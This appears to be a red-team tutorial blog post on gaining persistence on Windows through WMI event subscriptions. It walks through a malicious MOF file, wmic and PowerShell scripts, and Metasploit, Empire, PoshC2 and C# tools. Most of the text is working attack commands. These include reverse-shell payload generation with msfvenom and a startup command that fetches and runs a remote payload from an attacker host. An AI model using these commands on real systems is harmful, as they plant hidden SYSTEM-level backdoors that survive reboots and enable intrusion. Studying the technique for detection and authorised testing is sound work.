Windows Management Instrumentation (WMI) enables system administrators to perform tasks locally and remotely. From the perspective of red teaming WMI can be used to perform several activities such as lateral movement, persistence, situational awareness, code execution and as a command and control (C2). The fact that WMI is part of Windows that exists in almost all windows operating systems (Windows 98- Windows 10) allows these offensive activities to stay off the radar of the blue team.

Typically persistence via WMI event subscription requires creation of the following three classes which are used to store the payload or the arbitrary command, to specify the event that will trigger the payload and to relate the two classes (__EventConsumer &__EventFilter) so execution and trigger to bind together.

__EventFilter // Trigger (new process, failed logon etc.)

// Trigger (new process, failed logon etc.) EventConsumer // Perform Action (execute payload etc.)

// Perform Action (execute payload etc.) __FilterToConsumerBinding // Binds Filter and Consumer Classes

Implementation of this technique doesn’t require any toolkit since Windows has a utility that can interact with WMI (wmic) and PowerShell can be leveraged as well. However various frameworks such as Metasploit, Empire, PoshC2, PowerSploit and multiple PowerShell scripts and C# tools can be used to automate this technique providing different triggers and various options for code execution. It should be noted that WMI events run as a SYSTEM, persists across reboots and Administrator level privileges are required to use this technique.

MOF

Managed object format (MOF) is the language used to describe CIM (Common Information Model) classes. A MOF file typically contains statements. classes and class instances which are added to the WMI repository (OBJECTS.DATA) when the file is compiled (mofcomp.exe can compile MOF files and it is part of Windows). The contents of a MOF file are demonstrated below:

#PRAGMA NAMESPACE ("\\\\.\\root\\subscription") instance of CommandLineEventConsumer as $Cons { Name = "Pentestlab"; RunInteractively=false; CommandLineTemplate="cmd.exe"; }; instance of __EventFilter as $Filt { Name = "Pentestlab"; EventNamespace = "root\\subscription"; Query ="SELECT * FROM __InstanceCreationEvent Within 3" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL"; }; instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };

The above MOF file will execute cmd.exe when the notepad.exe process is created on the system. The MOF file can be deployed on the WMI repository by executing the following command:

mofcomp.exe .\wmi.mof

Compile MOF Files

Alternatively Metasploit Framework has also capability to generate malicious MOF files. Executing the following command from interactive ruby console will generate the MOF.

irb puts generate_mof("Metasploit1","Metasploit2")

Generate MOF Files – Metasploit

The Microsoft utility “mofcomp.exe” can compile MOF files. The file will automatically stored in the WMI repository and the malicious payload/command will executed automatically.

mofcomp.exe .\Metasploit.mof

Compile MOF – Metasploit

In this case the payload was fetched remote remotely via Metasploit “web_delivery” module by using the regsvr32 method. Immediately a Meterpreter session was spawned as soon as the MOF file was compiled.

MOF Metasploit – Meterpreter

Even though that some APT’s groups have used MOF files as a dropper in order to achieve persistence over WMI, it is not recommended as a method. Persistence via WMI event subscription can be achieved by using common Microsoft utilities and therefore eliminates the need of dropping a file into disk.

Command Prompt

Interaction with WMI can be performed through the command prompt as all Windows operating systems contain a command line utility (wmic). Execution of the following commands will create in the name space of “root\subscription“ three events. The arbitrary payload will executed within 60 seconds every time Windows starts.

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="PentestLab", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="PentestLab", ExecutablePath="C:\Windows\System32\pentestlab.exe",CommandLineTemplate="C:\Windows\System32\pentestlab.exe" wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"PentestLab\"", Consumer="CommandLineEventConsumer.Name=\"PentestLab\""

WMI Persistence – wmic commands

The executable will return a Meterpreter session within 60 seconds after every reboot.

WMI Persistence – Meterpreter via Event Filter

PowerShell

PowerShell contain cmdlets that can query WMI objects and retrieve information back to the console. The following commands can be used to validate that the arbitrary events have been created and the malicious payload/command is stored in the WMI repository.

Get-WMIObject -Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

It is also possible to implement this technique directly through PowerShell. The following script block will execute the arbitrary executable “pentestlab.exe” within 5 minutes after every boot of Windows.

$FilterArgs = @{name='Pentestlab-WMI'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"}; $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs $ConsumerArgs = @{name='Pentestlab-WMI'; CommandLineTemplate="$($Env:SystemRoot)\System32\pentestlab.exe";} $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs $FilterToConsumerArgs = @{ Filter = [Ref] $Filter; Consumer = [Ref] $Consumer; } $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

WMI Persistence – PowerShell

The following commands can be executed to perform a cleanup and remove the created WMI objects.

$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'Pentestlab-WMI'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'Pentestlab-WMI'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" $FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject

PowerPunch is a collection of PowerShell scripts that contains a PowerShell script for persistence over WMI. However the script requires Invoke-MetasploitPayload to be loaded in memory as well as the payload will be downloaded from a remote location. The Metasploit Framework “web_delivery” module can be configured that will host the PowerShell based payload.

use exploit/multi/script/web_delivery set SRVHOST 0.0.0.0 set SRVPORT 8443 set SSL true set target 2 set URIPATH pentestlab set payload windows/x64/meterpreter/reverse_tcp set LPORT 8888 set LHOST 10.0.0.1 run -j

WMI Persistence – PowerShell Payload

The following command will register a WMI event subscription and will store the command that will be executed during startup in order to create fileless persistence.

Import-Module .\Invoke-MetasploitPayload.ps1 Import-Module .\New-WMIPersistence.ps1 New-WMIPersistence -Name Pentestlab -OnStartup -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Arguments "-Command Invoke-MetasploitPayload https://10.0.0.1:8443/pentestlab"

WMI Persistence – Register Event

The payload will be delivered on the target host on during startup.

WMI Persistence – Delivery of Payload

The Wmi-Persistence is a simple PowerShell script that supports the following triggers: Startup, Logon, Interval and Timed. It contains three functions for installation, review and removal of the created WMI events.

Install-Persistence -Trigger Startup -Payload "c:\windows\system32\pentestlab.exe"

WMI Event Subscription – Executable Startup

The “startup” trigger by default will execute the arbitrary payload within five minutes after startup.

Persistence WMI Event Subscription – Meterpreter

WMI-Persistence is another PowerShell script that can create and event filter that will execute a PowerShell based payload from a remote location within 5 minutes after every reboot.

Import-Module .\WMI-Persistence.ps1 Install-Persistence

WMI Persistence – SystemUpTime

The script contains a function for viewing WMI objects to ensure that the arbitrary classes have been created correctly.

Check-WMI

WMI Persistence – Check Event Filters

After 5 minutes on the next reboot the payload will be delivered and a Meterpreter session will established with the target host.

WMI Event Subscription – SystemUpTime Meterpreter

Rahmat Nurfauzi developed a PowerShell script (WMI-Persistence) which by default executes an arbitrary command using regsvr32 method in order to run an arbitrary scriptlet from a remote server.

.\WMI-Persistence

WMI-Persistence – Regsvr32

The “Get-WMIObject” cmdlet will ensure that the event filter has been created since the script doesn’t provide any console output.

Get-WMIObject -Namespace root\Subscription -Class __EventFilter

WMI-Persistence – Check Event Filters

Metasploit Framework can be used to host the scriptlet and obtain the session. However other command and control frameworks such as PoshC2 have similar capability and can capture regsvr32 payloads.

WMI-Persistence – Meterpreter via Regsvr32

PowerLurk is another PowerShell script that supports five triggers. These are: InsertUSB, UserLogon, Timed, Interval and ProcessStart. This script use the WMI repository in order to store a malicious command that will execute an arbitrary script, executable or any other command with arguments. The following function will retrieve all the active WMI event objects.

Get-WmiEvent

WMI Event Subscription – PowerLurk Get-WMIEvent

Executing the following command will create an arbitrary event subscription that will execute a malicious payload permanently during Windows logon.

Register-MaliciousWmiEvent -EventName Logonlog -PermanentCommand "pentestlab.exe" -Trigger UserLogon -Username any

WMI Event Subscription – PowerLurk Meterpreter

C#

Dominic Chell developed a C# tool called WMIPersist which can be used directly as an executable on a compromised host or through Cobalt Strike. The tool will register an event that will execute a base64 VBS payload when a target process is created on the system.

WMIPersist – Code

Metasploit utility “msfvenom” can generate the required payload but any other tool such as unicorn can be used as well.

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.1 LPORT=4444

Msfvenom – Generate bin payload

SharpShooter can be utilized to generate the stageless payload in VBS format by using the shellcode raw file produced previously.

python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload64.bin base64 -i output/implantvbs.vbs > /home/pentestlab.txt

SharpShooter – Generate Implant

The payload can be embedded into the WMIPersist tool and the csc.exe utility (part of .NET framework) can compile the source code in order to convert it to an executable.

csc.exe WMIPersist.cs /r:System.Management.Automation.dll

Persistence WMI Event Subscription – Compile WMIPersist

Running the executable on the target host or through Cobalt Strike (execute-assembly option) will create the Event Filter, Event Consumer and the subscription.

Persistence WMI Event Subscription – WMIPersist

Executing the following commands from a PowerShell console will verify that the payload is stored in the “__EventConsumer” and the “__EventFilter” has been created.

Get-WMIObject -Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class __EventConsumer





When the notepad.exe process starts the payload will executed and the communication channel will open. By default this tool is using notepad which is a common Windows application but the code can be modified to target any other common process such as word.exe, outlook.exe, excel.exe, calc.exe depending on the information gathered from the host during situational awareness. The Metasploit module “multi/handler” or any other C2 can be used to capture the session.

Persistence WMI Event Subscription – WMIPersist Meterpreter

PoshC2

PoshC2 is a Command and Control framework based in PowerShell but supports C# implants and modules to evade EDR products during red team engagements. There is a PowerShell module which can deploy the persistence technique of WMI event subscription on a target host by executing a based-64 encoded payload at a specific time.

Invoke-wmievent -Name Posh -Command "powershell -enc <payload>" -Hour 21 -Minute 11

Persistence WMI Event – PoshC2 Module

When the command will executed the WMI event will created and automatically the results of the WMI objects modified will returned back on the console screen for verification.

Persistence WMI Event – PoshC2 Event Filter

The new implant will connect back to the C2 server at the time that it was set.

Persistence WMI Event – PoshC2 Implant

Metasploit

Metasploit Framework contains a module which performs persistence on the target system over WMI. The module supports different options that can be used to trigger an arbitrary payload to be executed on the system. By default is is configured to execute the payload when a specific event ID (4625) is created on the system. Other options that are supported are execution of payload during logon, after creating a specific process, after a specific time period etc.

use exploit/windows/local/wmi_persistence set SESSION 1 set CALLBACK_INTERVAL 60000 set USERNAME_TRIGGER pentestlab set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.0.0.1 set LPORT 4444 exploit

WMI Event Subscription – Metasploit Module

The module will provide the required command that can be used to logon over SMB to the host by using a wrong password in order to generate the specified failed logon request. When the command will executed, will generate the failed logon event which will trigger the payload and a Meterpreter session will open.

smbclient \\\\10.0.0.2\\C$ -U pentestlab password

Persistence WMI Event Subscription – Trigger

In vanilla Windows 10 builds both success and failed attempts during logon/logoff are logged by the system.

auditpol /get /subcategory:Logon

Audit Policy – Windows Logon

Empire

PowerShell Empire has two modules which can establish persistence over WMI. The following module can execute a payload at a specific daily time, during failed logon and at startup within 5 minutes.

usemodule persistence/elevated/wmi set Listener WMI set SubName Empire set FailedLogon True execute

Persistence WMI Event Subscription – Empire Module

Similar to Metasploit module a failed SMB connection can be used to trigger the PowerShell based implant when the “FailedLogon” option is used. By default this option will return two connections back to the command and control server.

Persistence WMI Event Subscription – Empire Session

The “wmi_updater” module has the capability to fetch the payload from a remote location instead of storing it in the WMI repository. It will register as “AutoUpdater” and the trigger can be set at a startup or at a specific time of the day.

usemodule persistence/elevated/wmi_updater*

Toolkit

The following table represents the tools that can be used by red teams in order to implement the persistence technique of WMI Event Subscriptions and the available trigger options for each tool.

Tool Language Trigger Metasploit Ruby Failed Logon, Process, Startup, Timed Empire PowerShell Failed Logon, Startup, Timed SharpSploit C# Process WMIPersist C# Process PoshC2 Python3 Timed PowerPunch PowerShell Logon, Startup Wmi-Persistence PowerShell Logon, Startup, Interval, Timed PowerLurk PowerShell USB, Logon, Process, Interval, Timed WMI-Persistence PowerShell Up-time WMILogonBackdoor PowerShell Timed, Interval WMIBackdoor PowerShell Timed, Interval WMI-Persistence PowerShell Timed

References